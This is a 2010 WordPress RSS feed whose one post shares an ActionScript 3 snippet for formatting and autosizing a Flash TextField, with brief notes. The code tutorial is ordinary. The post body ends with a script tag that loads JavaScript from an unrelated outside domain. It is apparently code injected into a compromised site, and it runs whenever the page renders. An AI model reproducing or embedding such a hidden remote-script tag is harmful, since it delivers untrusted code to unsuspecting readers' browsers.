<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; AutoSize</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/autosize/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Text Formatting &amp; AutoSizing</title>
		<link>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:27:24 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[AutoSize]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=209</guid>
		<description><![CDATA[Bit chaotic but these properties are always useful when adding text fields.]]></description>
			<content:encoded><![CDATA[<p>private function addTextCaption():void{</p>
<p>if(textCaption != null){</p>
<p>removeChild(textCaption);</p>
<p>}//remove if it exists</p>
<p><span> </span></p>
<p>textCaption = new TextField();</p>
<p><span> </span></p>
<p>var font:Verdana = new Verdana(); //linkage name in library</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.font = font.fontName;</p>
<p>format.color = textColorVar;</p>
<p>format.size = infoFontSize;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p> </p>
<p>textCaption.x = thumbnailWidth + textBorder; </p>
<p>textCaption.y = imageHeight + headingHeight;</p>
<p>textCaption.width = stage.stageWidth &#8211; thumbnailWidth;</p>
<p>textCaption.height =  200; //don&#8217;t need height if autosize single or multiline text</p>
<p>textCaption.multiline = true;</p>
<p>textCaption.wordWrap = true;//must be set else cuts off</p>
<p>//textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.antiAliasType = flash.text.AntiAliasType.ADVANCED;</p>
<p>textCaption.selectable = false;</p>
<p>textCaption.embedFonts = true;</p>
<p>addChild(textCaption);</p>
<p>textCaption.defaultTextFormat = format;</p>
<p>textCaption.text = imageCaptionArray[tempCounter];</p>
<p>}//addTextCaption</p>
<p><strong>NOTES:</strong></p>
<p>To autosize height do not specify a height but must include autosize:</p>
<p>textCaption.wordWrap = true;</p>
<p>textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.x =  textBoxXPos; </p>
<p>textCaption.y = textBoxYPos;</p>
<p>textCaption.width = stageWide &#8211; textBoxXPos;</p>
<p>//textCaption.height =  stageHigh &#8211; textBoxYPos;//not allowed with autoSize<br />
<em>For width autosize leave out width obviously.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
